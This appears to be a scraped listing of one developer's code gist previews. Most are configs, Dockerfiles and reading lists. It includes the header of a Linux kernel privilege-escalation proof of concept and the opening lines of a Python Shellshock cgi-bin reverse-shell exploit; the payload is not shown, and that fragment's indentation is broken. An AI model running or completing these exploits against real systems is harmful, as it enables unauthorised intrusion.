infoslack

/**
 * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
 *
 * Vitaly Nikolenko
 * http://hashcrack.org
 *
 * Usage: ./poc [file_path]
 *
 * where file_path is the file on which you want to set the sgid bit
 */

infoslack

# CVE-2014-6271 cgi-bin reverse shell
# Original: http://pastebin.com/raw.php?i=166f8Rjx
  
import httplib,urllib,sys
  if (len(sys.argv)<3):
    print "Usage: %s <host> <vulnerable CGI>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
  exit(0)
  
conn = httplib.HTTPConnection(sys.argv[1])

infoslack

steps:
# build steps
- name: 'gcr.io/cloud-builders/docker'
  args: ['pull', 'gcr.io/$PROJECT_ID/project:latest']

- name: 'gcr.io/cloud-builders/docker'
  args: [ 'build', '--cache-from', 'gcr.io/$PROJECT_ID/project:latest', '-t', 'gcr.io/$PROJECT_ID/projetc:latest', '-t', 'gcr.io/$PROJECT_ID/project', '.' ]

- name: 'gcr.io/cloud-builders/docker'
  args: [ 'tag', 'gcr.io/$PROJECT_ID/project', 'gcr.io/$PROJECT_ID/project:stable-v-$TAG_NAME']

infoslack

• https://istio.io/
• https://linkerd.io/
• https://envoyproxy.github.io/

---

• https://buoyant.io/2016/10/04/a-service-mesh-for-kubernetes-part-i-top-line-service-metrics/
• https://sleeplessinslc.blogspot.com.br/2017/09/service-mesh-examples-of-istio-and.html
• https://istio.io/blog/istio-service-mesh-for-microservices.html
• https://medium.com/@DockerTurtle/service-mesh-the-nervous-system-of-microservices-9393ed1ffa5c
• http://philcalcado.com/2017/08/03/pattern_service_mesh.html
• https://buoyant.io/2017/04/25/whats-a-service-mesh-and-why-do-i-need-one/

infoslack

ICOs

Blockchain review

• https://hackernoon.com/a-primer-on-blockchains-protocols-and-token-sales-9ebe117b5759
• https://hackernoon.com/differences-between-protocol-blockchain-and-app-blockchain-companies-802b699eccde
• https://hackernoon.com/learn-blockchains-by-building-one-117428612f46

Fundamentals

• https://hackernoon.com/icos-for-dummies-like-me-1e82a8bc27f4

infoslack

Namespaces & Cgroups

• Introduction to Linux namespaces - Part 1: UTS
• Introduction to Linux namespaces - Part 2: IPC
• Introduction to Linux namespaces - Part 3: PID
• Introduction to Linux namespaces - Part 4: NS (FS)
• Introduction to Linux namespaces – Part 5: NET
• Bê-á-bá dos cgroups, parte 1: escalonador e prioridades
• [Bê-á-bá dos cgroups, parte 2: montagem e "pinning" de CPU](https://www.ibm.com/developerworks/community/blo

infoslack

# Run container
#
# docker run -v /tmp/.X11-unix:/tmp/.X11-unix \
#     -v $(pwd)/.telegram:/root/Downloads/Telegram \
#     -e DISPLAY=unix$DISPLAY \
#     infoslack/telegram
#
FROM ubuntu:14.04
MAINTAINER Daniel Romero <infoslack@gmail.com>

infoslack

FROM microsoft/dotnet:1.1.2-runtime
ADD . /app/Service.Authentication.Identity
COPY appsettings.json /var/cedro/configs/
ENTRYPOINT dotnet /app/Service.Authentication.Identity/Service.Authentication.Identity.dll

infoslack

kernel:
  image: "linuxkit/kernel:4.9.x"
  cmdline: "console=ttyS0 page_poison=1"
init:
  - linuxkit/init:63eed9ca7a09d2ce4c0c5e7238ac005fa44f564b
  - linuxkit/runc:b0fb122e10dbb7e4e45115177a61a3f8d68c19a9
  - linuxkit/containerd:18eaf72f3f4f9a9f29ca1951f66df701f873060b
  - linuxkit/ca-certificates:eabc5a6e59f05aa91529d80e9a595b85b046f935
onboot:
  - name: sysctl

infoslack

sudo apt-get update
sudo apt-get install \
    python-dev \
    python-pip \
    python-virtualenv

virtualenv findbots
source findbots/bin/activate

curl -O http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz